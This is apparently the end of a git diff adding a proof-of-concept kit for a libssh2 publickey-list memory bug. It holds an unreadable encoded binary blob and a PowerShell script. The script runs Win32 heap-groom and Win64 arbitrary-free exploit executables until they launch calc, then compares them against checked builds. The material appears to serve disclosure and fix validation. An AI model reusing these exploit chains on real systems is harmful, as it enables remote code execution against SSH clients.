zMpqiBWCE+MYin(2ZVWZi8#+2y$C#m%NQ8sFfOw}s|A}06by;-~FTCkpN3|{kG;TNJ zC0d<-BfV?ld{pCP9F#4o+Gw|X&b8>j_vzKohcs2a9Hi089v z4liN2Ok*hCXdq1ZMD@6xH5ydo6ActZuv{&EIr?#=dzIthU%N! zpkN@hRIhV?R%+7BpZ_P^y&*uVU5o_U5t$#4N=q|HaR8*LBypJeSPpH=fYN zbkO(uo9C_z&fU=5I+u>a)5c|POUc}lxy1sx5V+}2MmxIkGN!>5C)3t#a|{;t?+INHY-+D6Wa05!G(gPal&q?@n-6y>P z#_7qEWhXnyz#^mh;`4&jj|w zm}k!KHhG>of9dL`pyUsp-;}jbhCYLk1pofw zCk%4c0afC~qAk)o5d%=ADADm^X7)n9p5%YK7|SE&7@vMKyWL2S0PEH>Rx(04+h=By zU~#1C86jU=2ohKUv51x#V9n~`eI^vKO6@ENK z^IAL^A3J0A8NSuEjTkN7RXZw)-pzP2K6aw#*XeOxKqqVzo;o}kA3M=&)A5dzQEkIR zgd6c>eC&j`G8p7V7+bb0qcS7ePW?9N^!S)yY}hy;q%1{8wiCTjGp9#lvOeIE9BV0) z{@A%*e9f)(OdmsxCC6(^<4_8C^M;rF_svzy%AaMW(k3g_g&xHvIhD$iuABDp;>ZbU zH%YFwVv=^rk^NGtqBQP032(t<)$+q;#^MYUjcIf7M{%9(>QY@NfnGWi`mG!th)kO> zGWy07WM6XJHAq--SAQvh>gxBcl2s-vuA{O_k3A1*4SeWW#|b3PN8O-2$EAhGpoW-A zxOQu>MKJo{FU>63hs12KfVN1wG{9bT6{FU&TG@-Tn5Y(y@OCtt zh-NB_44K0DyUzoz&=Bs7)8M|)GJYb7+*GK6Z9cMD3v zT>kESBK(1aS1zQ!(diB#68}z>d7=frAE7c@u#5xCLJlf-$cm>(aw$EPN*~c11cfYa ze}p2{a<1OG5CCYOL4JXTzPV6qdEW(#h%wlQ;IAK|YBS-@Q8pQ6aqcV<`Ekp?J;b=h zM>d>f;jg3m&rQHmT-`9GU3_%a>Rm9UZh5l}wF{^gwhLjWAUj*nI`~?+a}YtbRHLXf7S2~)$5Ffp467EGUS{F? zK!v<;y?FR_#~G z^)!`+WD`aK69zL-Wpim^H*h!VxR^_^LZE0s(Lm1n>)70}7>v-ExnrS)(A2~-s!{DL zB103_jpqF%WM0(X2NIZK_r_W>Oq*Hp*{J=3=^UyLv>-< z=+PeJQqtnk)z!7ndY+v%HqNk~*TLzO#r8FJW#p?#|FcQ|rE+xq9oHl3EZDWf4C(jL z^zfswi5I?tLXSHBA*zcOtVWrv9FrBxtq&sJQ7Q)=$>&hsXq3B#lGTGAvO>jD;%2N8 z#3lk^1<*mW08`EZ=N}z^2?-b3Kl{d;1}=pP;6$$n@I)>1D5qEwGJNF0MuUH2A(Y{N zQA0eA0hI%o7_^p*fAs+>JQT8W^OBRr&p&2n*7K+ft`JCD!kurjVCqgYb9A4H{`Zhg zfy%QrG@*NdTQYF&w-~iszC_-5A`kW8J&tN%?IX}#?`^K1;cN5BinD0dL1$4b)B5M4 zLf6{`!0XnjIl9j_y3h`CjAPm(fSe0i{o2FOX!3aod=D4D;9(+P zBOY*Sca_DEE5RcXu~o$WZ2D80EZFjMGx>knsdf~#qb=vqiMkcZ=bb75ba0X2ZYj8v zRZmeHB#_ZA`8?(P$>(=hqGhsRDU}u6jK7@9a3X(Qu8U{|k=+yoCku*z*~Q1{M2UmX zEsUba>cT=he*67qR(2#=Py!sc5~DG9K)=`B&sCxvPMnjrZ$7;vdu{SuCc%ZB?NqPH zb9EjHzXf+<_9$jk+-aiWgw4iioU`Z0GMW!1vhuVRz;Nheq#R5ZoJ8Mp=PPdIeVse7 zwh!u9EF^JVNfN=K?k~CV=6xCSi)I(ic$j1uJpbqi;Q5HG^d`QMfs~PyBYRDd!6t9~ zoC|QBQ^E#w(7D;jE#5_nr#MJSde?ZDU`%#*qsDpmoo;eoB4{}(@ z0+wd)i(5*NA+ZzhMJ#7gnv2FsB@51jaJ(fXdSDqJ8)`PtS`Hs&(e48}VU{EdqTAC0 zDkTfvM3+vCyF{%^(0W5g>oT#!F0*gEe=I4zAe?a=z|ha#vJLjo0a+^5^f6fh{};0DAg)9-_d4tbP5 zk8&h2ncG(n^b7mg_!-ylIZkyR^cxGkDbKl*^!u7Q?#vUaOS3<=wrqi8+=zsvS$KG1}TKR{&w^enewV6U^HaeWHl=nV#s5qHVAOIqoci z4`EEwM(c zKgO(6J2*DMQnVsy7qCjeIsyFxwhPz=s5$<^7p%kg=Afs8@KV-}*P;FHdHBfDxxf6( z7*+La|MG~LcP#Ttj-bqM!`gQfkT^H8GRit}ejc7eJSBK$y;8`szPjP19c9q-7 zxCR|u8q!W_375UVy@W*Wp`wyf6lvQohr2z4Qa|_{yx5U)D{)Ps3>YP@lh4CWE4iJn z)SGL!pp{4Y%oDx6s7{*>89j=wYL7bo-FqNw)N&RK)}uU8WFwo4UOt4<53P4t7zSri z)H%bvFuHWcI9cf^I*Ngm)yscI%_6T4dB9!NayD9H?b;3wI2Ti&Ym}`m2$EhZi*4-L z1=TiMn}Jx6T+CR{K(2LSM^P^bEsTRS8X?g!V+YXaQxP}ggvzuFV+`ti$X(*4l%V$fQ;-653bG5MTW8RcGuFA2e8D#HcMQ}YYs(oD$TS$7hI%s;VL_>y>S@^uN@L<$A-XRxn(7q ziD5h7uzr7k@_Dp%D;k=8Q!xJvw2?dCK`^Ak>~~9OjXCh)PZ2y7rCO_{FrsL|C1}H^ zXph!L%~XpCC`p@I@cuvKU`BNwL9lO%Ve>-s6&~v*#|ps11sw?X@gWzAC0F*S6II7Jw|a{o10lz0VgdIhjE7s_P+-ZsFfx>D?YIE;8m|~f z2z*dv8e1r>gGw-+okdqs?D(8xH%&Gk2Y4ua)Vx@%Jt|WA;vX4$#oF;#pvaLSv$a#@ z$S?pxeFSbzR^G;RR~8l~tMhm>ct}~Pupy$ecF^t>Oyp7{bzvdzP-AqO!pZ)O$f`>U zWp$xVF5erv4#bkxg>t-t{5sq7I+Tv-Cd5E2{qZ79ltE0Cfs0XvbsuFLQMTt*9aDRO zCQ)R+AuM!bm6bCMf`ElYc;F2lkT{7ehi$;iX|+=g=y{1Ad?)p+bx>cw19tZ-C>eOd zXs0h~dJy!C9QizV?FLybm!mhFl;LddMk|N1-=nlHFi^msLNE=2_YkmL%##TtdfbPp!|73O8xA|{`tW;Xw6CK%pO7D;5iw~=HAVtcR3*xMJFVpa z7s7v!geTW<56JInCoJWd_A%xS_~0^-xr|41S^XZhj@xi+8yvy;CU5z)*a8QGzegD%L#BV=koSI_%R_UJO{i<*1Mhno=%fC-E#CXhK@j* z1mtV-_h=lon;|w=#$1pi{ke#&$_E+Z^G29WGHu9ZEd~uz-*%3q*TREX?>Y~?k=8at z7##UpJ4PV^w&Gw*80azWgAbuCRi%CrcPHUI)5at`nNu|X73LjZ3qAp1^4=XY;lCn7 z7Hfx@myEJ@l)#pSu5>}U!NChn(0bv;xKuv_8$xLEPZLx9k{ak^@H4E^uyCC$p*hva z4glJgNn|bS^bW#jV73~0lK)vmj(p9kGW=W@&1^Wa-%yX*rBH#g0MQ3Gv`AZC&f3v1 zFNj1c5zLTgbc75ArFo&zzi+Rq5<_77-i{;Ij@6`#$bO?&@;7kpqpf${MU>$dF@T?G zkAFbsy2z{?&>o?rF}{oPFL3|vx4YQ!1Z57h9Lhpgejg|G(QPae~bzmK}BcwIY~r240+ z{uL4hD&CKJr!FN<8?2q3KrM?6Y~w9pCt?QalhSjEN)u@y2K|fm0rZZ6zdZ>-FGT(Q z0d|$z*B;Y$!CP`WnF6Y4AZIqHpa%bl2Kts8)sIs(CJg7Vh^lW-(?h-c8Z6LrP%r$w zTL!)!2^`Zt8U(&)82NnRb@w@sh2q|mbISN;3%yZ>QJG25ve!Zb@R%cFyx z*%0+mY8*OaZe>A*3RB(Q>*{v)p)p~g8@=`fE z4+RTKyS)uq#*}&HgY!l;5IQh(!7rqqtqf5UO4=Q?{8~GfKrZEN?RG($#~m_7n?%1- z8RT7znhHkLMWxu7nQ**HduHj!98Z$PaHhgzMdz4fjxuS<31xz*~l$ZJ90p;qR(a~G8oJHRf~ zb_;A^+R&mfr68GOy9(X83xExEwr`k1v`la~?#KaH#-h?KHsZ=to(Ok3;tM1w1p+K6 zL4Z89$F1OG>ox5VITsizpIRT&(5Q<_NWUI+exW?IS1#|vfQEcHZ+FKRpie&gFOe}D zu-u_3MNu`n2i13U15dtV%tJ@yuQ}F^M?sY~$A83Hif%%A#0wG1Zn-a`6T%^bNE|@? zO=`q>4s$3k(>_;rC@;EuUboPB%xsVHuCk)YzA!rF;#1?@$U#Xi|Ipg;1}H`D$QvDg zM^-0@a3@-D;R1vKr5Dk17=8gq7fvh?6rrl1=SIlxQg18di|N2`(H?vNK`ViD-2Px5 zvN0MsTnwGzQUA*|e9ocn%#1GaG-Iu}*bDoyx&Vg!$xe==22sMs>_~tIb7zEP0(3C~`*4 z--5@nqY2u)?Zot)=7`E?Vh2a>1EyhZ#177G?YJ4pNXd?9)g*EV2eAyuYK6RK6t%=m z!oE+|cJb0BQ29I*RLI?HeTbUonFGExt?&z2rz>cIkIJJs`bI$nrxJXZA*f6$2FctY z_B^r@#6tVNR+B=+iPGn(?goko@jKYd&8BH1E8oGcxB`bjm^7ZLaX0P1FxgX6=U)g( zT?nsH0YuDGF?HS!-9oRb;uUrv(85WtQu)*YWh%n{5A%Rdap_D1Cn5uD-!|q?WGE+8 zOAE#KFiUCbj5Zn#YmwS-XY>R_K7D$`di2j&hWUD!xSJ1q;we7niC@X;dU@b{z7R5f z`!8XuPZ5}xta=6Q=@h)5!L}}PB@4~STpA#731LFz@cD>@#>$a>aKt|>`&XPC`8D$mflft}mhZ($R%TBbUxWc6k;wT=fMCiG6T$$R+>LuSMQ7|na_a3KdYn&OpyJz{moU49za#NAyetZ^uD z5N>nly8LqVx;*$(>!y#eLTk^Wm2v=eHM$q6tkIt0gsN*Ow!6kmyts3#{hp}Dghi;b z##4USx`{5GAl{?AwpHL$=V%kz3$*GQoMlmu^wO9*+l&TO-1&~R^P3Pv#MN}9X|O6Q z@JzIjmOA3DDq`M=Q`{`Sj-#sbcLNKfF1#`wXQy`^a%a-o(MJ3zhv~fxw(Co9wtzwT z0)@&4wCju<$di>g-l#98w@=oIW}9`Q)5iZuq@E1jm>rP~w0OUX{yFE*U}!OYqh`As z8|Z7Jvqoz_e2Y|FT~i5(9m;$gPGm_`NG_Y6bCX)CYux3Btea@V=vJ2HLFZ=DJ?V=R zZ9|2&WH=e=v}CT)$za*dB2z|W#(@mDC~`+!HD)rS3*jr=@%en21Y_uRRCGS(&p{bN z&?$f%H`CUK4ZH{!+r=4r3vIN$ZxSW46mAVdYVd4G?t-p6uY#v^#OD_gg^X_64DL9+ z`-xrv^!_eAH4(=n>8XmyTq4L|q}m{;q{Q60uyd~NK5lE}J=RUdI*me_GXoaxN;-%| zIPdj!SOWNT*po*E%6d%d&$KuGOzgR8_P|cKi|6M2j3||(Rosx{c5`!6Fhq!Cm*@o! zl;XF_nzAGAsaOGr$b*l9zfAdIx(~#)ICTix2>YlZhKdcmhW#+<4)rtz_<446NuFDo z4;KcLZ2@_lR9JEU!Kr+PjUL~kDu|$}YYy6{FbEFTt87lC4T4tI3`DS6ruQ$0&`v}| z$BapoJ%a`wIr z2^U!-yg< zhE5&72estD3XEoB7jKd`pdiD~_Z+`}g(|N$@^H|%;oW*_UpEE)CGJkIKd9e$Rob6x zC$Rw>xD_NSm5&fddECmoh-l=2GQ>@ExYvjV@wpf#a#YwvKZdl&>Wmo+g7zCCK!?Ua z{1la`9q7YUF%cDx-}9jBA?y@^lS|q#cByv|&O5LwR6LFsowQy5DL+H(0Ge@zn7G%Y zy5S_&*A0BiHx|z~&PhtG@Oj`~<}(7%@6yK`fAZMWaU>AL#EF=zc0*=_lxxU2QRu)Gu)^p>!mM zrNScfVv9qs#ncQx-_=EdLh8N}R&vWG2XBn~skpV53>S-=qY1OP6&0<5+?ExLIF1_C?kVnIap8SolqhX$=O6qR>CROb!}xR;ph~wR|T` zmt4ZuxMdAen6OM+1$@C@7u_%FCROpy=^6A@BWfWc%1M5k+f5!X;&;sT(+3%UjY@z8lA z?lkFX#GQnLHqTR=a@SD!xr8ZGD7yF+*c1j__;cqCII9eeCaqZ$*FvOSn7E{dL?tqNjf@?c7mdti$P5^n zi;yv6O7b>mBXgdS8HWsR{P3DC;^_mY)n=D?%4%z)L8$t`YV+GDA*(fc{Kcu3Jd2v( ziV@5R=k_3gb`ue3eqf!5cN_Q{qVpN->iV!cX?16c?_*d?poS7sLkZNdaX;w?m+|=f zw~YIA;zA>?apUz!i#;#<>}nZ?9$od0D+l)Ylulxxm3u>i(Vr*y=|p zHjJ{4##T(50o_%MKN&Fd8<6$jxDO5|hprIPO-j0dXfK2X*#fxLIsSz&!;=d=s^yob z!SLWEuxgiZ-UF9l(6Q4a$f|6EvHbcp7`o}h8&?mxmFHaK6=(z@;{Vx5@m6|25(^dc2?0~MkWP2tnW0s(7h~Z#Z*qof)>owc?J{}()RKhb zic4I`yZUunw76{OA8ozciO`vnWAC6|hDcT6b9u^+{Z5!XBJPamA&IMkuAy-$q_HWa z(DjrAZ7pF(3Kzo77);#L)^C_okNu=s)G$+@;(CG#prj`pw9}=zqT#!2cw^$yV0XBX zJ;zlTcyiz|_zYyJcUl-oU`p$Df`b)mw-b>Sl_Rpi1tQnrfKP9PnRE&dxaFS77MUd; zkm27@p}B{<>U@?x39cxyc@IxWp>>fV$-0?d@kEC5Liv#)TWI#ckBE0jVttaKA;@$i z*InFB#T4O-`fhnVmk#v<-!+=>%k-%x3~gvtzl{h09r#q2@Dh1&ohFX zr5IfjH=Ok)@N%qyPU&SRm*@lUeSdcDGC{* zUxRW?SJxoT1N!1pp>0~#P9-7Gt*{3y92g>yN)vMKu9q0RE4ZqE(4vor3`=R1Glx3)TI{O%7G;WAi~N7 z_DWhD6NQ*mPKdx&58sSXp-MOlgf!I>{@hd|tCs#-%-k%$1y7@Y{i+bddK7_@i*Q{1 zl%goerBRBaA_`Cowo|((zOSY9B#&^-?5|2`M&f>nultre36Upzw0gY4Cr6kWT!P2U z_}cJh2$o93x5coi>EgR=nDLSR9Lx>z6_7J^PheA7G0abzTT!t5?ho*lLuut0EjNh-N{DkULfyS1Z$k`_Yf zJOfGY7IwqLnD#Ll5N#b0See4-@@cBqyn-5I1$~Vyh(a%G$BUGNX>+7xpMmjv6zgQk z-n1W&M3&cdWRQ)f$!;>p5>kq6q6Omzh6QPwWLm{A(iiF+^O~usp*)giD{!92*y&YVS*o}W@ zPa!OJH_ZV}0fSIB1!g#?7~Rdgz5#TH@M4(0U5F}*`;;o$?+2+*9$T8$@m+>m(5171 zNUTc7RxBH+C~BFXLY~Hv^{`;rGysDt$4mRghrksYk4ZJYe=YARHBBsE=T)x3L^ZfW z0D-+;_zIo>iBy7(piNdRpEe+TCzeoPu*Tsat-%kDLG()V3pol)gZ~RWbb^8| z?X8@L5d=^zTYyA?7k4&M%XO(Xf5J%)ef!JO!i#XCFdy9@*5&#u*QMeIES5iTROp~k zcPk_Yc!J6~e^}7;0+P!Zs{aiJkJlRv9_AGEWiNfQR7!3}MB{YMV(s_?w98YQ59=ws z;CkFhZGKWuvCw6}F10Vm+7AQ2?no{cTk-FRrDsFa4^jK%`9z>?B5!iH0f<=Cj;pcC0DePd+L!v=?!2S-tP;_DIDNBBaKYX|`qF=rozZ_$>!J__tHOgPP$ zJ*|`;Er=x!S2pt2iXi0y&Xnc$X($$=(#Y+A($nr_Ep?I-iF1t|Us|MoFd#(g&lG7Y z@e1c+b9B=RN`(J{u?OK1q#z=O6mdfedrH0B(qVB&F5#T=(ItX8!#KtFsq&&%X{otMr=%Xz2a*U53QmX76I!;+)M;{~p^jG$quGY$ z{}D}ILUO3~BAjhA3Bl+jxDgz_>T0}Dj;yhnGA$xgmj_1DrE2-^#l!Wu2WwJVb~D#o zrYAS#Tb$Ky)3A1P(QZWjzXUXHV37@4>d+Wp5Fu?8ecIQfokyG9$o}+z^Sy&=c^!AH z^ufe{LZ6fL{)G8Hrq3yC;KY36-(41lthRTdT71XfSQ>9vtB<2wPHUdd)KMt&Xo{&D z4Ft^1lrI+3{%TSSVl^mAoKuX$U|dLJapxqxZX7=hAT|;cX;^5IPEN$Tj8VXr1^(;0 zDx4eJAQ`UR76#6iHxBSzWDJw1^AxXL_m(`hM@C`I_574qY_3kTf6?ye%D{~poXTL* z@e>{TX#~2fO-k(1egr3)@}X&Jh$r~BH|VgP##zFa2v_V==f{|PG@EW3)Mn{jfHWLW zHSq8iL!G?X70y8qsZfQ!Dz5j!ePq;P87JOw@H~FEpalG=EH%j`tY-Q-^(#8ZBu3P7 z_c!q7jE=qbYD*Bl?51M^tqeV-M9B8RU|yo%Fwtn^64_9~;J6V|(|ZaO(9b`-PBaeS z4?jXeAf&~Rk$DbY-=;MIQO`n5DAQF+3%fQG#l~2|#|jRT#fNeB)`hPUcYq2u3&r>H z{OREZqW(Vz)BWAhLj5O;|6jo)_^lx7&w#(=`7}TGX60`X_@{#xXW{1y{Lh>9e%==F zWdRQhxJSUB3;06;zboLk1-wPT8w9*Yz$*p3Sio}x%op%;9EFgaZwvUcfQLCWRr@VK{oC|N*sWW`c(Jpg>jS(uji z*4RM(0emab@(#W~OLm&*>vjR?b%w2x$qoGGcXYy=`jE~2SAMqLNjJgMAKEm~$0*56 zQyEs*R2}7Mu4R6*@ryDmk@hbg-d}rGK9-dqeB3;YzbtZJW&fQTXl`1$s=mH9Slh5} z=Jc`|4b9E0wl?5fg-bNP0RLq$Uu{!MV=GDV$=a@%MHTh6e((C`R&Rq*IU|H0K0_sbFRr;>5|vV_rJz4jOKQRUnOp47XB?y1 z8*ZszJvSJxulEJwRl{EuoaA36U;7)uJ%4J_Fes3I&3-t&NRbvV0a? zgZ^v%fu=Q(RrFt0F6qUq!rnldtt)2b^Y1p{OHIrlUfJAKf2(gjYtb2O^o8nIOM&{i z#SKzRcug&;f}~7?T@o6k8l>S03I}`~4M!9DCqo#{k9Uo))*Gxf#E0qVpHQG_)hb`0 zsby7dFyw7c+n7|p5)Jhc25S4+!~Kc7Wv#clsR8yB^tZMIeNtnfb&Zq~M+$~l2G_&Z z*NA?qTf8fqeNw1Z;^X8EVdxCm(?nK=8ykHAYO)lHYz>E`b>5~Bn3Eb?0~rlc)YDD< zm>0efgAk!`kO`w2na;9s$Y%Yd-OH4RCAW<3G|n@hMOCtm6&I@O1uRrD}{Q>Fl5jV_-+gPf}ztO zr};>Ymsi4E%0v$Z!u26o9?3b34_`~ea5m_xe2@-ahz}Cii(wBzU}sRxLcJE|PF90o zyCkoKjCYk6zj=wG`qnl6W*-bGgkQ%b9_W+FN2cxk?J?Ke|2^Z1o*TH(Xi~*3MZz@2 zFL5@7B>GiFFqg8GzjOSjN!%SmYr`a{Z*C2eCJh^a$mE{T?+D|w2G{Qc>$7Ic1>S~+ z3;rIx11|&Z@25|f{@40aU8MQS8dn|9=wg+x#TW24OXS?if=GYfW;pSN_4u7rAKH?T z!{p4OM_$>W=0SQscbsYUuWk+ed-O!)hWD4U`w{g@{=aEuIOGdrI`T!4dG)oi!PnB{ zYk(ta4R}}iBwt%SOc(`*VbgE72E%?o_(LfPP9=@4;g)nRU2n|N;jIwJuG9T7zrqa0 zKNNYqd*OkusZFoPmYBzmlSCeOj~GtXS&7IKKAj$3A@aE3gWr5*>{3DR45V?JpPeW2 z^aWmi9XEp>9Ytk-gtXbkseD^d=Z|Rf&-%1H6elkZ>3N(vpA!3W{60Ni%@fcj;@7^c zIJ;|(PKUS2_~Qty3e!}Q8d}$oKjBe}RN`Dz>2O~=m8Gg_`h}alfu_)Usbq^(Ze1q@ye%}!6!b_Xi;pUKpp8`%f7~vYR+Ut`B{;{O`TBpH9wTP`a zdz|muHQvx_WJ{)ADHR9l*Mp0LCB>_zNyV$CN>WL{7s9$e7a1c!5IU=b9@b4?hj0=< zI*bSk3%)*euhbD84GrKRC?WP)?G3`DrKUA7|LH-jeYCDg(y}HjXWr)P!aj0RdaOvR zdNG!-^_WMJHzdIc2`Zx7bi1lRYY4QAmg|~AtGOSRO52Lt81M{P{Xt*2p%u!)n&_pz z>4%d;t@W+Vk}(B~8)g{deObGe@aGgBg2fa*af{+pI|28QokA9jHaCiC5?1h4J|4al z`=?3kn|#fDUBm!L&~g}r{RUw}tGXc-r{Xh14^?%;?YJ&0-=1anXg6#>mtCKo-y-Ip z(Vsnw{;sTiY1V#ma#p@DD?cSG@6XB)?Ha!S9L&mZ&ysIfR=ztcAIr*1S^bq}$y1kA ze~o*%{<^Ljo@ZJ33o0tElu9s57A&8>9J8ct_7$~P%$gpq4}_-sv52=}Caj(&tqeC| z2CrN%%?tSISBIn}-WF{Cg43kHH>XNvm(Q3vgKj0_^A)}Soc`#1gg(2L4<9$Zbokkd zuJJGbYpf&gY&-b!W?$9*Pt^bdud^ul+NQ%&r1Ov_NWZy18EJxd#!4n9!Rv=Aq za57`7ktTTQnfT5l(gZ8Dv((Qnqc!rSf0=y5;Nu;*{?!d$T89z-A_#PfJ(u07%kw6>i7~uPON|0vf zqaM#Jq-}s+JhPGZ0|xOpk!}Z!;E|E;0{k%^57OHJe}bn9>0N;T8_!atV}J+o)F9ml z_&lB!NcRI?c>&}=+79^ig^aZ!-3RE$;p!Ho3I3^=u?LXu2mCGGOzuKD2IwgTM7j!a z?o7sxB5eok#&d#j06#2;PLO6-GWL&nY!8D^z(3)cf;7S9b09m?1nB%wudj z(ge4;U>isibj}A2q^kh;;Q0g61dro6iu52L)=G99X@dW<5M@a30=&+HaYvfqq)OQT zPjvV=(vy)Uxbs@rDbl+D=_h2TAsqv}Y7t~dn&7|Uu_I0JAFH5iqzNYQ)F4f8&UN_z zE|4bp79Ky+1kYWJ|C0b|f?M%yL7L#2C72^f?*e=u&o-p#cMfmBvjgcmz%_Wfk;Yj% z!}&RjAx*FwPcPCj!18L$5v1+Q8T%=o=6?oFz+d6%NBLKu|Ct&vnR6`WTvL@PFV~Vc zlTwV0q4Z)sUAj!)r(bP@55+@shu}y!Ehz60I0Q{&&6csINi3T_%3Wh~M{UX}9p0}A zL%^T0=F3sP@|1eBiJ9jCXN;MRF`ds)?>8A`qjK4(c_^tvJ(aBlwB#_$OjD_8w3&@w zoLibx2YjQCOqkjB?0j~%>FlW!OKo*l|AeaXv9Wz)`f~D-h*isjE7Rcfg-`*W*uVkX-dX4^EbbZlL|e@s)bWB~Ie{|KT7`5hlm?`u?^hatpjK{Q1aQhH8k!dT#?8m4d!KO^-j;%g- z%V>6H+bA|^wS`T{9b=kEBS^AmkM}Qi+dFNaWS<|L2It<4@|hXw#s3BAk>tvlH=N(V z-_g(Ma5Bs99f3~fyfJt&U^X8!MSIxdmwozUbgHI*hUiyr_u;K~Pr7W}Av4>BvTYe< zPL#z^)|*kb8f6;Fj%Ji~p==0cT1Htn%JTMu{@!#SlMkDjgtE4bvK1(M0A;-yWm{3E zp=>at>4fY9s&1e;r$^i|9V#b6Oo?~AFiuHk-td5Spt4b zz#0J?1#A(pOTcXc?htT~fUgR8T)-0o8ghOj@_A%)_!J6wk$`pquMu#mfGY%S6wsjO z7x`}s*dgHES$Gd*<-f8IU4viQhpvZg`?#M~;Aq?@@F^Ad56TxoK(;08r@F}vO5YHJFK_Uy1}KHiginpOt9f%R-l&H`V^ z;|+#fbV`psBIPSv8^X<^fAsecoTp4!|9CWLIeTS!Y9Po7@v z)A4?g>&8n!ocrU{IGe?fay>rp+Ea?zP_75JHUzKWaSxjM!S zr9>he^aaE_1^Q3qYHKTMgLvUh?>cIA8K7~y886Z5{p;yn6X&BAC*z=ON$1uwb|(7q zVHDxDj2`iBu(rjEVOvKnfb(_K1VXj26+*m_)pB?l!(|#n@kRq7tNz0D3SC~W-(MSA z@At9UdJCv@4J%KlYkkbEV>am*9B``!|BD|CF_4yK8S}2Bw~Nb}&aIEp+Z}JSu4OOr z*VMYQwh>om5O;HV>BTL7X`G|y8}(c+a=}nTQ!5kjm+m1e7f$F*#P78#Hq5Aon&E=(R}s!N&{bM;BRW6 z4!#dawr%a(y0&fGwrd+Q@X2uFtncBv?f&iU+q<@J+rDdiY%Oo literal 0 HcmV?d00001 diff --git a/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 b/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 new file mode 100644 index 0000000..2b11bef --- /dev/null +++ b/libssh2-publickey-list-calc-poc/replay-calc-poc.ps1 @@ -0,0 +1,76 @@ +$ErrorActionPreference = "Continue" + +$Root = Split-Path -Parent $MyInvocation.MyCommand.Path +$Poc = Join-Path $Root "poc" +Set-Location -LiteralPath $Root + +function Show-Matches($text, $patterns) { + $pattern = [string]::Join("|", $patterns) + $text | Select-String -Pattern $pattern +} + +Remove-Item -LiteralPath (Join-Path $Root "x86_calc_payload_reached.txt") -ErrorAction SilentlyContinue +Remove-Item -LiteralPath (Join-Path $Root "x64_calc_payload_reached.txt") -ErrorAction SilentlyContinue + +Write-Output "== Win32 publickey-list calc chain ==" +$x86v = Join-Path $Poc "publickey_win32_heap_groom_calc_repro.exe" +$x86c = Join-Path $Poc "publickey_win32_heap_groom_calc_repro_checked.exe" +$x86Args = @("3", "n", "call", "4068") +$hit = 0 +$hitOut = $null + +for($i = 1; $i -le 30; $i++) { + $out = & $x86v @x86Args 2>&1 + if($LASTEXITCODE -eq 77) { + $hit = $i + $hitOut = $out + break + } +} + +if($hit) { + Write-Output "x86_vulnerable_calc=hit attempt=$hit limit=30" + Show-Matches $hitOut @("attrs_alloc", "victim\[", "marker_function_reached", "calc_launch") +} +else { + Write-Output "x86_vulnerable_calc=miss limit=30" +} + +if(Test-Path (Join-Path $Root "x86_calc_payload_reached.txt")) { + Get-Content (Join-Path $Root "x86_calc_payload_reached.txt") +} + +$checkedHit = 0 +for($i = 1; $i -le 30; $i++) { + & $x86c @x86Args *> $null + if($LASTEXITCODE -eq 77) { + $checkedHit = $i + break + } +} + +if($checkedHit) { + Write-Output "x86_checked_calc=unexpected_hit attempt=$checkedHit limit=30" +} +else { + Write-Output "x86_checked_calc=no_hit limit=30" +} + +Write-Output "" +Write-Output "== Win64 publickey-list calc chain ==" +$x64v = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro.exe" +$x64c = Join-Path $Poc "publickey_win64_arbitrary_free_calc_repro_checked.exe" +$x64Out = & $x64v calc 2>&1 +$x64Exit = $LASTEXITCODE + +Write-Output "x64_vulnerable_calc_exit=$x64Exit" +Show-Matches $x64Out @("victim=", "free ptr=", "free_ignored_unknown", "victim_freed=", "same_as_victim=1", "calc_payload_reached", "calc_launch") + +if(Test-Path (Join-Path $Root "x64_calc_payload_reached.txt")) { + Get-Content (Join-Path $Root "x64_calc_payload_reached.txt") +} + +$x64CheckedOut = & $x64c calc 2>&1 +$x64CheckedExit = $LASTEXITCODE +Write-Output "x64_checked_calc_exit=$x64CheckedExit" +Show-Matches $x64CheckedOut @("victim_freed=", "same_as_victim=", "safe_callback_reached", "calc_payload_reached", "calc_launch")